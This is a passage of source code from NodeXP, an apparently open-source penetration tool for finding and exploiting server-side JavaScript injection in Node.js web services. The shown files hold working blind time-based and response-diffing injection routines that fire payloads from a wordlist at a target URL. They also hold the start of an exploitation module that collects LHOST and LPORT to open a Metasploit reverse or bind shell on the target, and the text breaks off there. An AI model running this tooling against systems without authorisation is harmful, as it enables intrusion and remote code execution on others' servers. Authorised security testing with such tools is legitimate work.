continue_process = check_redirection_with_valid_parameters() 45 | if continue_process != True: 46 | print (Fore.RED + "[!] ERROR: All requests got redirected and did not get followed. Maybe url is invalid or you have no access to this url (set the diserable cookie in this case) or simply follow redirection.") 47 | 48 | # Compute average request time based on three valid input values (string,num,email) and define threshold 49 | average_time_based_on_input_type = [] 50 | for valid_value in range(0, 3): 51 | 52 | # Initialize vars with random input values 53 | settings.pdata = settings.pdata.replace(settings.inject_here_replace, settings.valid_input_values[valid_value]) 54 | compute_average_request_time(settings.validation_loop,'valid') 55 | average_time_based_on_input_type.append(settings.average_request_time) 56 | settings.pdata = settings.initial_parameter 57 | 58 | # Get the maximux out of averages 59 | settings.average_request_time = max(average_time_based_on_input_type) 60 | # Set threshold 61 | settings.minimum_time_threshold = define_time_threshold() 62 | 63 | # Start parsing txt file with payloads! 64 | total_line_count = sum(1 for line in open(settings.blind_ssji_wordlist)) 65 | print(Fore.YELLOW + Style.BRIGHT + '\nStarting Blind Injection Technique') 66 | message = Style.DIM + '\n[-] Searching for SSJI vulnerabilities...' 67 | verbosity.print_message(message, settings.print_info) 68 | try_counter = 1 69 | initial_data = settings.url 70 | initial_inject_here = settings.inject_here 71 | settings.initial_inject_here = initial_inject_here 72 | 73 | for index in xrange(1,total_line_count,2): 74 | if settings.break_blind == 0: 75 | 76 | # Initialize url and data for each new payload.. 77 | settings.url = initial_data 78 | settings.inject_here = initial_inject_here 79 | 80 | # Get the payload from the file 81 | mal_code = linecache.getline(settings.blind_ssji_wordlist, index).rstrip() 82 | if mal_code == '---end' or mal_code == '': 83 | print(Fore.RED + '[!] End of payloads in the corresponding dictionary txt file.\n[!] Quit.') 84 | break 85 | if settings.request_method == 1: 86 | # POST CASE 87 | settings.inject_here = settings.inject_here.replace(settings.inject_here_replace, mal_code, 1) 88 | settings.pdata = settings.inject_here 89 | else: 90 | # GET CASE 91 | # Unquote just in case that is already percent encoded (URL encoded) and then ... 92 | mal_code = urllib.unquote(mal_code) 93 | # ... percent encode for GET requests 94 | percent_encoded_data = interfaces.percent_encoding(mal_code) 95 | settings.percent_encoded_URL = percent_encoded_data 96 | settings.inject_here = settings.percent_encoded_URL 97 | settings.pdata = settings.percent_encoded_URL 98 | 99 | # Initialize blind injection payload 100 | blind_replacer(settings.minimum_time_threshold) 101 | decimal = 0 102 | 103 | # Start randomizing payload 104 | if settings.blind_wildcard == 1: 105 | for case in range(0, 3): 106 | # Attack! 107 | decimal += 1 108 | settings.pdata = settings.blind_injection_cases[case] 109 | 110 | # Message for each injection 111 | print('\n%s'%settings.hr) 112 | print('[i] Try no. ' + format(try_counter) + '.' + format(decimal) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.pdata + ')' + Fore.WHITE + Style.NORMAL + ':') 113 | print('%s'%settings.hr) 114 | 115 | compute_average_request_time(settings.loop,'malicious') 116 | 117 | if settings.break_blind == 1: 118 | break 119 | 120 | else: 121 | # Message for each injection 122 | print('\n%s'%settings.hr) 123 | print('[i] Try no. ' + format(try_counter) + '.' + format(decimal) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.pdata + ')' + Fore.WHITE + Style.NORMAL + ':') 124 | print('%s'%settings.hr) 125 | compute_average_request_time(settings.loop,'malicious') 126 | 127 | try_counter += 1 128 | else: 129 | break 130 | else: 131 | sys.exit('ERROR: [INJECT_HERE] not found on your input! > %s' %settings.inject_here) 132 | except Exception as e: 133 | print(Fore.RED + "[!] ERROR: %s" %e) 134 | verbosity.error_info(e) 135 | 136 | def check_redirection_with_valid_parameters(): 137 | 138 | redirections_sum = 0 139 | counter = 0 140 | try: 141 | while counter < 3: # one for each input case 142 | if settings.request_method == 1: 143 | # init valid POST parameters for request 144 | parameter = settings.pdata 145 | parameter = parameter.replace(settings.inject_here_replace,settings.valid_input_values[counter]) 146 | request = urllib2.Request(settings.url,data=parameter,headers={'Cookie':settings.cookie}) 147 | 148 | else: 149 | # Init valid GET parameters for request 150 | url = settings.url.replace(settings.inject_here_replace,settings.valid_input_values[counter]) 151 | settings.url = url 152 | parameter = url 153 | request = urllib2.Request(parameter,headers={'Cookie':settings.cookie}) 154 | if counter == 0: 155 | message = Fore.YELLOW + '\n[<] Checking for redirection with valid parameter: \n(' + parameter + ')' 156 | verbosity.print_message(message, settings.print_info) 157 | else: 158 | message = Fore.YELLOW + '\n[-] Checking for redirection with valid parameter: \n(' + parameter + ')' 159 | verbosity.print_message(message, settings.print_info) 160 | 161 | # Check for valid redirection 162 | redirection = interfaces.check_redirection(urllib2.urlopen(request), settings.technique) 163 | # Initialize url and post data 164 | #settings.url = settings.initial_parameter 165 | if redirection == 1: 166 | redirections_sum += 1 167 | 168 | elif redirection == 0: 169 | settings.valid_parameters = parameter 170 | message = Style.DIM + '[i] No redirection with valid parameter (' + parameter + ').' + Style.NORMAL + Fore.YELLOW + '\n[>]' 171 | verbosity.print_message(message, settings.print_info) 172 | 173 | counter += 1 174 | 175 | if redirections_sum > 2: 176 | return False 177 | else: 178 | return True 179 | 180 | except Exception as e: 181 | print(Fore.RED + "[!] ERROR: %s" %e) 182 | verbosity.error_info(e) 183 | sys.exit() 184 | 185 | def compute_average_request_time(loop,payload_type): 186 | amount = 0 187 | 188 | # Print for request with payload 189 | if payload_type == 'malicious': 190 | if settings.request_method == 0: 191 | message = (Fore.YELLOW + '\n[<] Computing requests\' average response time using payload: \n(%s)' %(settings.pre_url + '?' + settings.pdata)) 192 | verbosity.print_message(message, settings.print_info) 193 | else: 194 | message = (Fore.YELLOW + '\n[<] Computing requests\' average response time using payload: \n(%s)' %settings.pdata) 195 | verbosity.print_message(message, settings.print_info) 196 | 197 | # Print for valid request 198 | elif payload_type == 'valid': 199 | if settings.request_method == 0: 200 | message = (Fore.YELLOW + '\n[<] Computing requests\' average response time with valid parameter: \n(%s)' %settings.pdata) 201 | verbosity.print_message(message, settings.print_info) 202 | else: 203 | message = (Fore.YELLOW + '\n[<] Computing requests\' average response time with valid parameter: \n(%s)' %settings.pdata) 204 | verbosity.print_message(message, settings.print_info) 205 | else: 206 | raise Exception(Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.') 207 | 208 | for index in range(loop): 209 | if settings.request_method == 0: 210 | #GET case 211 | # Valid request settings 212 | if payload_type == 'valid': 213 | post_request = urllib2.Request(settings.pdata,headers={'Cookie':settings.cookie}) 214 | blind_injection_flag = 0 215 | 216 | # Request with payload settings 217 | elif payload_type == 'malicious': 218 | url = settings.pre_url + '?' + settings.pdata 219 | settings.url = url 220 | post_request = urllib2.Request(url,headers={'Cookie':settings.cookie}) 221 | blind_injection_flag = 1 222 | # Check also for redirection for malicious request 223 | if index < 1: 224 | interfaces.check_redirection(urllib2.urlopen(post_request), settings.technique) 225 | else: 226 | raise Exception(Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.') 227 | else: 228 | #POST case 229 | # Valid request case 230 | if payload_type == 'valid': 231 | #request_time = requests.post(settings.pre_url, data=settings.pdata).elapsed.total_seconds() 232 | post_request = urllib2.Request(settings.pre_url,data=settings.pdata,headers={'Cookie':settings.cookie}) 233 | blind_injection_flag = 0 234 | 235 | # Request with payload case 236 | elif payload_type == 'malicious': 237 | #request_time = requests.post(settings.pre_url, data=settings.pdata, cookies={'Cookie':settings.cookie}).elapsed.total_seconds() 238 | post_request = urllib2.Request(settings.pre_url,data=settings.pdata,headers={'Cookie':settings.cookie}) 239 | blind_injection_flag = 1 240 | # Check also for redirection for malicious request 241 | if index < 1: 242 | interfaces.check_redirection(urllib2.urlopen(post_request), settings.technique) 243 | else: 244 | raise Exception(Fore.RED + '[!] ERROR: Unknown payload type or not specified on \'compute_average_request_time()\'.') 245 | try: 246 | start_time = time.time() 247 | html = urllib2.urlopen(post_request).read() 248 | end_time = time.time() - start_time 249 | request_time = end_time 250 | except HTTPError, e: 251 | print '[i] ERROR: The server couldn\'t fulfill the request! First of all, check if the given URL is correct. In case you injected any payload on your request, server seems to interact with it so, it might be vulnerable. In this case check payload txt files for syntax errors and try again. Else, service might be down.' 252 | print '[i] ERROR: %s' %e 253 | verbosity.error_info(e) 254 | html = e.read() 255 | #print html 256 | blind_injection_flag = 0 257 | continue 258 | 259 | message = Style.DIM + "[-] Request no. %s -> %f seconds" %(index,request_time) 260 | verbosity.print_message(message, settings.print_info) 261 | 262 | if blind_injection_flag == 1: 263 | check_blind_injection(request_time) 264 | 265 | amount += request_time 266 | 267 | message = Style.DIM + '[-] Total time spend on %d requests = %f seconds' %(loop,amount) 268 | verbosity.print_message(message, settings.print_info) 269 | settings.average_request_time = amount/loop 270 | settings.average_request_time = settings.average_request_time * 1000 271 | message = Fore.GREEN + '[!] Average request time = ' + str(settings.average_request_time) + ' millieseconds.\n' + Fore.YELLOW + '[>]' 272 | verbosity.print_message(message, settings.print_info) 273 | if blind_injection_flag == 1: 274 | print_blind_injection_stats() 275 | 276 | def define_time_threshold(): 277 | message = (Fore.YELLOW + '\n[<] Setting response time threshold') 278 | verbosity.print_message(message, settings.print_info) 279 | minimum_time = settings.average_request_time*settings.margin_factor 280 | if (minimum_time < settings.time_threshold): 281 | minimum_time = settings.time_threshold 282 | message = Style.DIM + '[-] Calculating response threshold based on average response time (%f) and its factor (%f)' %(settings.average_request_time,settings.margin_factor) 283 | verbosity.print_message(message,settings.print_info) 284 | message = (Fore.GREEN + '[!] Acceptable response time greater than : %s milliesecond(s)' %str(minimum_time)) 285 | verbosity.print_message(message, settings.print_info) 286 | message = (Fore.YELLOW + '[>]') 287 | verbosity.print_message(message, settings.print_info) 288 | return minimum_time 289 | 290 | # Replace txt file delimeters with the correct values 291 | def blind_replacer(minimum_time): 292 | minimum_time= int(minimum_time) 293 | 294 | # Replace #time# set on payload txt file; with minimum time value 295 | settings.pdata = settings.pdata.replace(settings.blind_replace,format(minimum_time)) 296 | 297 | # Replace *** set on payload txt file; with valid input value (email, number and string) 298 | if (settings.wildcards[0] in settings.pdata): 299 | email_mal_code = settings.pdata 300 | character_mal_code = settings.pdata 301 | number_mal_code = settings.pdata 302 | for index in range(0, 3): 303 | email_mal_code = email_mal_code.replace(settings.wildcards[0],settings.blind_rand_email) 304 | number_mal_code = number_mal_code.replace(settings.wildcards[0],settings.blind_rand_num) 305 | character_mal_code = character_mal_code.replace(settings.wildcards[0],settings.blind_rand_char) 306 | settings.blind_wildcard = 1 307 | settings.blind_injection_cases = [character_mal_code,number_mal_code,email_mal_code] 308 | else: 309 | settings.blind_wildcard = 0 310 | 311 | def check_blind_injection(time): 312 | if time*1000 >= settings.minimum_time_threshold: 313 | #print '--YES' 314 | settings.blind_injection_pass[0] += 1 315 | else: 316 | #print '--NO' 317 | settings.blind_injection_pass[1] += 1 318 | 319 | def print_blind_injection_stats(): 320 | print Fore.YELLOW + "\n[<] Blind Injection Results:" 321 | total = settings.blind_injection_pass[0] + settings.blind_injection_pass[1] 322 | message = Fore.GREEN + "[!] %s out of %d passed the minimum time threshold ( %f millieseconds)" % (settings.blind_injection_pass[0],total,settings.minimum_time_threshold) 323 | verbosity.print_message(message,settings.print_info) 324 | message = Fore.GREEN + "[!] %s out of %d NOT passed the minimum time threshold ( %f millieseconds)" % (settings.blind_injection_pass[1],total,settings.minimum_time_threshold) 325 | verbosity.print_message(message,settings.print_info) 326 | rate = float(settings.blind_injection_pass[0])/(total) 327 | percentage = abs(rate*100) 328 | message = Fore.GREEN + "[!] Percentage success rate: %d%%" %percentage 329 | verbosity.print_message(message,settings.print_info) 330 | clear_blind_injection_arrays() 331 | if percentage < 100: 332 | print(Fore.RED + '[!] Blind injection is not 100% sucessfull and does not seem to be vulnerable. In case you want more accurate results you have to re-run the process.') 333 | else: 334 | ask_exploitation = interfaces.change_technique(settings.ex_prompt_message,settings.ex_options_message,settings.ex_alter_tech_msg,settings.ex_current_tech_msg) 335 | if ask_exploitation == True: 336 | exploitation.initialize_payload_options(True) 337 | 338 | def clear_blind_injection_arrays(): 339 | settings.blind_injection_pass[0] = 0 340 | settings.blind_injection_pass[1] = 0 341 | 342 | -------------------------------------------------------------------------------- /src/core/detection/blind/blind.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/detection/blind/blind.pyc -------------------------------------------------------------------------------- /src/core/detection/results_based/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/core/detection/results_based/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/detection/results_based/__init__.pyc -------------------------------------------------------------------------------- /src/core/detection/results_based/detection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.core.init.settings as settings 12 | import urllib 13 | import urllib2 14 | import httplib 15 | import sys 16 | import os 17 | import linecache 18 | from bs4 import* 19 | import difflib 20 | import time 21 | import src.interfaces.options.verbosity as verbosity 22 | import src.interfaces.options.prompt as prompt 23 | import src.interfaces.functions.interfaces as interfaces 24 | import src.core.detection.blind.blind as blind_technique 25 | import src.core.exploitation.exploitation as exploitation 26 | 27 | try: 28 | from urllib.parse import urlparse 29 | except ImportError: 30 | from urlparse import urlparse 31 | from colorama import init, Fore, Back, Style 32 | init(autoreset=True) 33 | 34 | def parse_wordlist(try_counter, initial_data, initial_inject_here): 35 | try: 36 | text_loop = xrange(1,settings.total_line_count,2) 37 | for index in text_loop: 38 | # Re initialize url if not follow redirection 39 | if settings.follow_redirection == 0: 40 | settings.url = initial_data 41 | 42 | settings.inject_here = initial_inject_here 43 | payload = linecache.getline(settings.ssji_wordlist, index).rstrip() 44 | 45 | # Exit when no more payloads on wordlist 46 | if payload == '---end' or payload == '': 47 | print(Fore.RED + '[!] End of payloads in the corresponding dictionary txt file.\n[!] Quit.') 48 | sys.exit() 49 | break 50 | 51 | # Get static expected responses 52 | expected_response = linecache.getline(settings.ssji_wordlist, index+1).rstrip() 53 | settings.expected_responses = expected_response.split(',') 54 | settings.expected_responses.extend(settings.error_responses) 55 | 56 | # Create randomized payload variables and it's dymamic expected response accordingly 57 | randomized_data = randomizer(payload,settings.expected_responses) 58 | payload = randomized_data[0] 59 | expected_response = randomized_data[1] 60 | 61 | # Initialize payload 62 | settings.inject_here = settings.inject_here.replace('[INJECT_HERE]', payload, 1) 63 | #settings.pdata = settings.inject_here 64 | parameter = settings.inject_here 65 | 66 | # GET case initalize payload 67 | if settings.request_method == 0: 68 | settings.url = settings.url.replace('[INJECT_HERE]', urllib.quote(payload), 1) 69 | parameter = settings.url 70 | 71 | # Message for each injection 72 | print('\n%s'%settings.hr) 73 | print('[i] Try no. ' + format(try_counter) + Fore.GREEN + Style.BRIGHT + ' (payload: ' + settings.inject_here + ')' + Fore.WHITE + Style.NORMAL + ':') 74 | print('%s'%settings.hr) 75 | 76 | # SSJI begins.. 77 | verbosity.print_message(Fore.WHITE + Style.DIM + '[-] Starting injecting requests with current payload... ', settings.print_info) 78 | 79 | # Make request with payload 80 | payload_response = interfaces.make_request(parameter) 81 | 82 | # If HTTPError or BadStatusLine 83 | if settings.request_error == 1: 84 | settings.request_error = 0 85 | # Next payload.. 86 | try_counter += 1 87 | continue 88 | 89 | # Check for redirection on malicious request 90 | interfaces.check_redirection(payload_response[1], settings.technique) 91 | 92 | # Make valid request without payload 93 | valid_response = interfaces.make_request(settings.pre_url) 94 | 95 | # Check for expected keywords before injection with valid requests and ask for blind injection accordingly 96 | ask_blind = check_keywords_before_injection(valid_response[0]) 97 | if ask_blind == True: 98 | blind = interfaces.change_technique(settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) 99 | if blind == True: 100 | # Re-initialize input with [INJECT_HERE] 101 | settings.inject_here = settings.initial_inject_here 102 | blind_technique.blind_injection() 103 | sys.exit() 104 | break 105 | 106 | # Compare HTML results (both valid and injected requests) 107 | compare_html_pages(valid_response[3],payload_response[3]) 108 | 109 | # Next payload.. 110 | try_counter += 1 111 | detection = injection_results(payload_response[2],expected_response,try_counter) 112 | # Website is vulnerable on SSJI 113 | if detection == 1: 114 | 115 | # Ask for starting exploitation 116 | ask_exploitation = interfaces.change_technique(settings.ex_prompt_message,settings.ex_options_message,settings.ex_alter_tech_msg,settings.ex_current_tech_msg) 117 | if ask_exploitation == True: 118 | exploitation.initialize_payload_options(True) 119 | except Exception as e: 120 | print(Fore.RED + "[!] ERROR: %s" %e) 121 | verbosity.error_info(e) 122 | 123 | def start_detection(): 124 | # GET AND POST CASES BLENDED! 125 | # Results Based Technique 126 | try: 127 | if settings.inject_here_replace in settings.inject_here: 128 | try_counter = 1 129 | # Parameter with and without payload for each detection case 130 | initial_data = settings.url 131 | initial_inject_here = settings.inject_here 132 | # Parse wordlist and initialize payloads 133 | parse_wordlist(try_counter, initial_data, initial_inject_here) 134 | else: 135 | sys.exit('ERROR: [INJECT_HERE] not found on your input! > %s' %settings.inject_here) 136 | 137 | except Exception as e: 138 | print(Fore.RED + "[!] ERROR: %s" %e) 139 | verbosity.error_info(e) 140 | 141 | # Compare two html pages 142 | # Only on results based technique! 143 | def compare_html_pages(valid_html, infected_html): 144 | try: 145 | if settings.print_diff == 1: 146 | 147 | # Set info and prepare request 148 | if settings.print_info == 1: 149 | print Style.NORMAL + Fore.YELLOW + '[>]\n' 150 | if settings.request_method == 1: 151 | message = Style.NORMAL + Fore.YELLOW +'[<] Compare HTML response before ( ' + Fore.GREEN + settings.pre_url + Fore.YELLOW + ' ) \nand after ( ' + Fore.RED + settings.url + ', & ' + settings.inject_here + Fore.YELLOW +' ) injection :' 152 | 153 | else: 154 | message = Style.NORMAL + Fore.YELLOW + '[<] Compare HTML response before ( ' + Fore.GREEN + settings.pre_url + Fore.YELLOW + ' ) \nand after ( ' + Fore.RED + settings.url + Fore.YELLOW +' ) injection :' 155 | parameter = settings.inject_here 156 | verbosity.print_message(message, settings.print_info) 157 | 158 | # Compare valid and malicious requests' responses 159 | diff_lib = difflib.Differ() 160 | diff = diff_lib.compare(list(valid_html.stripped_strings),list(infected_html.stripped_strings)) 161 | 162 | comparison = list(diff) 163 | counter = 0 164 | differences_removed = [] 165 | differences_added = [] 166 | differences = [] 167 | for i in comparison: 168 | first_char_comparison = comparison[counter][:1] 169 | if first_char_comparison == "-": 170 | splitted_comparison = comparison[counter].split("- ") 171 | differences_removed.append(splitted_comparison[1]) 172 | differences.append(splitted_comparison[1]) 173 | elif first_char_comparison == "+": 174 | splitted_comparison = comparison[counter].split("+ ") 175 | differences_added.append(splitted_comparison[1]) 176 | differences.append(splitted_comparison[1]) 177 | counter += 1 178 | if settings.print_diff not in [] : 179 | message = '[i] Removed content : \n' + Fore.WHITE + Style.DIM +'%s' %list(differences_removed) 180 | verbosity.print_message(message, settings.print_info) 181 | message = '[i] Added Content : \n' + Fore.WHITE + Style.DIM +'%s' %list(differences_added) 182 | verbosity.print_message(message, settings.print_info) 183 | 184 | # False negative error 185 | # No changes on html page based on your payload 186 | if not differences: 187 | print Fore.RED + '[i] HTML content does not seem to change based on your payload.' 188 | ask_blind = True 189 | else: 190 | ask_blind = False 191 | if ask_blind == True: 192 | blind = interfaces.change_technique(settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) 193 | if blind == True: 194 | # Re-initialize input with [INJECT_HERE] 195 | settings.inject_here = settings.initial_inject_here 196 | blind_technique.blind_injection() 197 | sys.exit() 198 | except Exception as e: 199 | print(Fore.RED + "[!] ERROR: %s" %e) 200 | verbosity.error_info(e) 201 | 202 | def check_keywords_before_injection(simple_urlopen): 203 | message = Fore.YELLOW + '[>]\n\n[<] Check response for expected keywords on valid request (false positives) :' 204 | verbosity.print_message(message, settings.print_info) 205 | try: 206 | if settings.responded_keys: 207 | del settings.responded_keys[:] 208 | for keyword in settings.expected_responses: 209 | if keyword in simple_urlopen: 210 | settings.responded_keys.append(keyword) 211 | if settings.responded_keys: 212 | print Fore.RED + Style.BRIGHT +'[!] WARNING: EXCPECTED HTML RESPONSE CONTAINS MATCHING KEYWORD(S) BEFORE INJECTION!\n' + Style.NORMAL + Fore.WHITE +'[i] Expected response\'s matching keyword(s) (%s) found on page when valid request made; without injecting any payload. This might lead to false conclusions (false positives)! Blind injection technique might be more accurate in this case.' %list(settings.responded_keys) 213 | return True 214 | else: 215 | message = Fore.WHITE + Style.DIM + '[-] No keywords found.'#\n' + Fore.YELLOW + Style.NORMAL + '[>]' 216 | verbosity.print_message(message, settings.print_info) 217 | return False 218 | except Exception as e: 219 | print(Fore.RED + "[!] ERROR: %s" %e) 220 | verbosity.error_info(e) 221 | 222 | 223 | def injection_results(plaintext_result,expected_response,try_counter): 224 | try: 225 | try_no = format(try_counter-1) 226 | if settings.print_info == 1: 227 | print Style.NORMAL + Fore.YELLOW + '[>]\n' 228 | message = Fore.YELLOW + '\n[<] Show injection (Try no. ' + try_no + ') results :' 229 | verbosity.print_message(message, 1) 230 | 231 | expected_payload = list(set(expected_response)^set(settings.error_responses)) 232 | 233 | # For any of the expected responses which exists in injected HTML response too! 234 | for payload in expected_response: 235 | if payload in plaintext_result: 236 | # If payload exists in HTML response before injection.. 237 | if payload in settings.responded_keys: 238 | # Response existed before injection. May be 'False Positive' 239 | message = Fore.RED + "[!] Response(s) '%s' existed before injection. High possibility for 'False Positive' assumption on this case!" %payload 240 | verbosity.print_message(message,1) 241 | settings.invalid_responses.append(payload) 242 | 243 | # If payload exists in payload's dynamic response.. 244 | elif payload in expected_payload: 245 | # SSJI Done based on payload and it's dynamic response! 246 | message = Fore.GREEN + "[!] SSJI Done based on payload and it's dynamic response (%s)!" %payload 247 | verbosity.print_message(message,1) 248 | settings.valid_responses.append(payload) 249 | 250 | # If payload exists in settings.error_responses.. 251 | elif payload in settings.error_responses: 252 | # SSJI Done based on error responses. May be 'False Positive' 253 | message = Fore.GREEN + "[!] SSJI Done based on error response (%s). Low possibility for 'False Positive' assumption on this case." %payload 254 | verbosity.print_message(message,1) 255 | settings.valid_responses.append(payload) 256 | else: 257 | sys.exit( Fore.RED + 'ERROR: Payload response error. Check payloads.txt file for possible syntax errors.') 258 | 259 | # Noone of the expected responses found in injected HTML response! 260 | if not (settings.valid_responses) and not (settings.invalid_responses): 261 | message = Fore.RED + '[!] No remarkable responses. Website (' + settings.url + ')is NOT vulnerable on SSJI using "' + settings.inject_here + '" as payload and ' + settings.technique + 's based technique. Check payloads.txt file for possible syntax errors or change injection technique.\n' + Fore.YELLOW + '[>]' 262 | verbosity.print_message(message,1) 263 | return 0 264 | 265 | # If any of the expected responses found in the injected HTML response! 266 | elif (settings.valid_responses or settings.invalid_responses): 267 | 268 | # If both valid and invalid responses found... 269 | if settings.valid_responses and settings.invalid_responses: 270 | message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + '\n[i] Valid Response(s): %s\n' %(list(settings.valid_responses)) + Fore.RED + '[i] Invalid Response(s): %s'%(list(settings.invalid_responses)) 271 | ask_blind = False 272 | 273 | # If only valid responses found... 274 | elif settings.valid_responses: 275 | message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + '\n[i] Valid Response(s): %s' %(list(settings.valid_responses)) 276 | ask_blind = False 277 | 278 | # If only invalid responses found... 279 | elif settings.invalid_responses: 280 | message = Fore.GREEN + '[i] Payload : ' + settings.inject_here + Fore.RED + '\n[i] Invalid Response(s): %s\n[i] Not sure if website is vulnerable or not. Blind injection technique might be more accurate in this case.'%(list(settings.invalid_responses)) 281 | ask_blind = True 282 | 283 | verbosity.print_message(message,1) 284 | 285 | if ask_blind == True: 286 | blind = interfaces.change_technique(settings.bl_prompt_message, settings.bl_options_message, settings.bl_alter_tech_msg, settings.bl_current_tech_msg) 287 | if blind == True: 288 | # Re-initialize input with [INJECT_HERE] for changing technique 289 | settings.inject_here = settings.initial_inject_here 290 | blind_technique.blind_injection() 291 | sys.exit() 292 | else: 293 | settings.valid_responses = [] 294 | settings.invalid_responses = [] 295 | return 0 296 | else: 297 | settings.valid_responses = [] 298 | settings.invalid_responses = [] 299 | return 1 300 | except Exception as e: 301 | print(Fore.RED + "[!] ERROR: %s" %e) 302 | verbosity.error_info(e) 303 | 304 | # Create random strings 305 | # ### for concatenation and calculations of random strings 306 | # *** for random strings 307 | def randomizer(payload, expected_response): 308 | 309 | # Case for ### and $$$ - basically for eval() 310 | if settings.wildcards[2] in payload: 311 | if settings.rand == 'all': 312 | # Replace ### with random values 313 | # ean epistrafei to concatenation einai vulnerable 314 | payload_randomizer = '%s+"%s"'%(settings.random_num,settings.random_char) 315 | payload = payload.replace('###',payload_randomizer) 316 | 317 | # Replace $$$ with random values' expected result 318 | expected_resp = settings.wildcards[1] 319 | if expected_resp in expected_response: 320 | index = expected_response.index(expected_resp) 321 | expected_response[index] = expected_resp.replace(expected_resp, settings.pentest_value) 322 | return [payload,expected_response] 323 | else: 324 | sys.exit("ERROR: Quit execution. Error occured on randomizer funtion. Check payloads txt file for syntax error.") 325 | else: 326 | # Replace ### with random values 327 | if settings.rand == 'char': 328 | payload_randomizer = '"%s"'%settings.pentest_value 329 | else: 330 | payload_randomizer = settings.pentest_value 331 | payload = payload.replace('###',payload_randomizer) 332 | 333 | # Replace $$$ with random values' expected result 334 | expected_resp = settings.wildcards[1] 335 | if expected_resp in expected_response: 336 | index = expected_response.index(expected_resp) 337 | expected_response[index] = expected_resp.replace(expected_resp, settings.pentest_value) 338 | return [payload,expected_response] 339 | else: 340 | sys.exit("ERROR: Quit execution. Error occured on randomizer funtion. Check payloads txt file for syntax error.") 341 | # Case for *** and $$$ 342 | elif settings.wildcards[0] in payload: 343 | 344 | # Replace *** with random text value and random calculation 345 | payload_randomizer = settings.pentest_value 346 | payload = payload.replace('***',payload_randomizer) 347 | 348 | # Replace $$$ with random values' expected result 349 | expected_resp = settings.wildcards[1] 350 | if expected_resp in expected_response: 351 | index = expected_response.index(expected_resp) 352 | expected_response[index] = expected_resp.replace(expected_resp, settings.pentest_value) 353 | return [payload,expected_response] 354 | else: 355 | sys.exit("ERROR: Quit execution. Error occured on randomizer funtion. Check payloads txt file for syntax error.") 356 | # Case for no ***,$$$ or ### 357 | elif not settings.wildcards[2] in payload and not settings.wildcards[0] in payload: 358 | return [payload,expected_response] 359 | 360 | -------------------------------------------------------------------------------- /src/core/detection/results_based/detection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/detection/results_based/detection.pyc -------------------------------------------------------------------------------- /src/core/exploitation/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/core/exploitation/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/exploitation/__init__.pyc -------------------------------------------------------------------------------- /src/core/exploitation/exploitation.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.core.init.settings as settings 12 | import src.core.init.payload_init as payload_init 13 | import src.interfaces.options.prompt as prompt 14 | import src.interfaces.options.verbosity as verbosity 15 | import src.core.exploitation.options as options 16 | import re 17 | import os 18 | import subprocess 19 | import base64 20 | from colorama import Fore, Back, Style, init 21 | from os.path import expanduser 22 | import socket 23 | 24 | def initialize_payload_options(start): 25 | try: 26 | # If some/all variables are not defined 27 | message = Fore.YELLOW + '[<] Initialize exploitation variables.' 28 | verbosity.print_message(message,settings.print_info) 29 | 30 | # Reverse shell case 31 | if settings.lhost == 'None' and settings.msf_payload != settings.msf_payload_bind: 32 | message = Fore.RED + '[!] LHOST not defined!' 33 | verbosity.print_message(message,settings.print_info) 34 | settings.lhost = str(payload_init.get_input("[?] Please, set your local host ip.\n - ","LHOST")) 35 | 36 | # Bind shell case 37 | if settings.msf_payload == settings.msf_payload_bind: 38 | rhost = settings.pre_url.rsplit(":", 1) 39 | settings.prefix_rhost = rhost[0] 40 | rhost_without_http = rhost[0].split("/") 41 | settings.rhost = rhost_without_http[2] 42 | message = Fore.GREEN + "[!] Setting automatically remote host: 'RHOST' = " + settings.rhost 43 | verbosity.print_message(message, settings.print_info) 44 | 45 | if settings.lport == 'None': 46 | message = Fore.RED + '[!] LPORT not defined!' 47 | verbosity.print_message(message,settings.print_info) 48 | settings.lport = str(payload_init.get_input("[?] Please, set your local port.\n - ","LPORT")) 49 | else: 50 | input_answer = settings.lport 51 | settings.lport = payload_init.checkLPORT(input_answer) 52 | 53 | if settings.payload_path == 0: 54 | message = Fore.RED + '[!] 